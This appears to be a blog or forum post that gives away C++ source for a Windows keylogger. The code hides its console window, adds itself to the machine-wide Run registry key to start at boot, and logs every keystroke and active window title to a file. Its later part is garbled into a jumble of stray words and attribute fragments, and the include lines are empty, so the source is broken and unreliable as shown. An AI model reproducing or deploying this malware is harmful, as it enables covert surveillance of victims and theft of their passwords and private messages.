A little keylogger that I created with a few features. It is not a
complete program so I am just giving away the source code as this was
practice for myself. This does not use a global keyboard hook. It uses
GetASyncKeyState(), a reputable replacement but still no true match to
the old KBDLLHOOKSTRUCT. It automatically installs itself in the
registry when ran so be aware, it also displays the window title if a
new window is selected. Happy hacking, The source is below.
Code:
#include
#include
#include
#include
#include
using namespace std;
#define BUFSIZE 80
int get_keys(void);
HWND CurrentWindow;
char sCurrentWindow[MAX_PATH];
time_t start;
time_t tick;
//time_t mailtime;
//time_t prevmailtime;
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);
CurrentWindow = GetForegroundWindow();
GetWindowText(CurrentWindow,sCurrentWindow,BUFSIZ+1);
printf("[%s]\n",sCurrentWindow);
char *path="c:\\kl.exe"; //the path in which the file needs to be?
HKEY hkey;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
RegSetValueEx((HKEY)hkey,"kl",0,REG_SZ,(BYTE *)path,strlen(path));
int t=get_keys();
start = time(NULL);
return t;
}
int get_keys()
{
short character;
while(!GetAsyncKeyState(VK_ESCAPE))
{
if (tick > start)
{
start = time(NULL);
tick = time(NULL);
if(GetForegroundWindow() != CurrentWindow)
{
CurrentWindow = GetForegroundWindow();
GetWindowText(CurrentWindow,sCurrentWindow,BUFSIZ+1);
FILE *file;
file=fopen("recorded.log","a+");
if(file==NULL)
{
return 1;
}
stringstream ss;
ss << sCurrentWindow << "\n";
fputs(ss.str().c_str(),file);
fclose(file);
}
}
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("recorded.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91 0="" 30="=" and="" be="" blockquote="" break="" but="" case="" character="" default:="" do="" else="" etc.="" exit_success="" fclose="" file="" for="" fputc="" fputs="" if="" lock="" mailing="" mailtime="" message="" n="" not="" prevmailtime="mailtime;" private="" report.exe="" return="" s="" same="" seconds="" switch="" that="" the="" to="" used="" vk_back:="" vk_capital:="" vk_control:="" vk_delete:="" vk_numpad0:="" vk_numpad1:="" vk_numpad2:="" vk_numpad3:="" vk_numpad4:="" vk_numpad5:="" vk_numpad6:="" vk_numpad7:="" vk_numpad8:="" vk_numpad9:="" vk_oem_1:="" vk_oem_2:="" vk_oem_3:="" vk_oem_4:="" vk_oem_5:="" vk_oem_6:="" vk_oem_7:="" vk_oem_comma:="" vk_oem_minus:="" vk_oem_period:="" vk_oem_plus:="" vk_return:="" vk_shift:="" vk_space:="" vk_tab:="" winexec="" would="">91>
Komentar
Posting Komentar